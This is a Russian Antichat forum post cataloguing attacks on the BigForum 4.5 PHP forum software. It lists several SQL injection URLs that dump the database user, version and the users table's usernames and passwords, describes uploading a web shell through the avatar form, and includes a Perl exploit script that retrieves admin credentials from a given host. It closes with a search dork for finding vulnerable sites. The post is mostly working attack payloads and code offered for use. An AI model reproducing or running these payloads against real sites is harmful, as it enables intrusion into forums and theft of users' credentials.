ANTICHAT - Показать сообщение отдельно - Энциклопедия уязвимых скриптов

BigForum
Version: 4.5
http://sourceforge.net/projects/npage-bigforum/

SQL Injection:

Цитата:

/misc.php?aktion=adser&id=-1'+union+select+1,2,user(),4,5+--+

(Need mq = off)
Будет редирект на значение 3 поля.

Цитата:

/profil.php?id=-1'+union+select+1,concat_ws(0x3a,id,username,pw),3 ,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,2 2,23,24,25,26,27,28,29+from+users--+

Цитата:

/search.php

В Author / Erstellen

Цитата:

1u%' union select 1,2,3,4,5,6,7,8,9,10,11,12 --

Цитата:

/?do=show_one&id=-1'+union+select+1,concat_ws(0x3a,user(),database() ,version()),3,4+--+

Залитие шелла:

Цитата:

/main.php?do=ava&aktion=send

Выбираем как аватару шелл, и заливаем, /images/avatar/ .

BigForum 4.5 SQL INJ EXPLOIT.

PHP код:


		
			
#!/usr/bin/perl 

use LWP::Simple;

print "\n";

print "##############################################################\n";

print "# BigForum Version: 4.5 SQL INJECTION                        #\n";

print "# Author: Ctacok  (Russian)                                  #\n";

print "# Blog : www.Ctacok.ru                                       #\n";

print "# Special for Antichat (forum.antichat.ru) and xakep.ru      #\n";

print "# Require : Magic_quotes = Off                               #\n";

print "##############################################################\n";

if (@ARGV < 2)

{

print "\n Usage: exploit.pl [host] [path] ";

print "\n EX : exploit.pl www.localhost.com /path/ \n\n";

exit;

}

$host=$ARGV[0];

$path=$ARGV[1];

$vuln = "-1'+union+select+1,concat(0x3a3a3a,id,0x3a,username,0x3a,pw,0x3a3a3a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29+from+users";

$doc = get($host.$path."profil.php?id=".$vuln."+--+");

if ($doc =~ /:::(.+):(.+):(.+):::/){

            print "\n[+] Admin id: : $1";

        print "\n[+] Admin username: $2";

        print "\n[+] Admin password: $3";

}

Dork:

Цитата:

by Bigforum-Team (Version: 4.5 )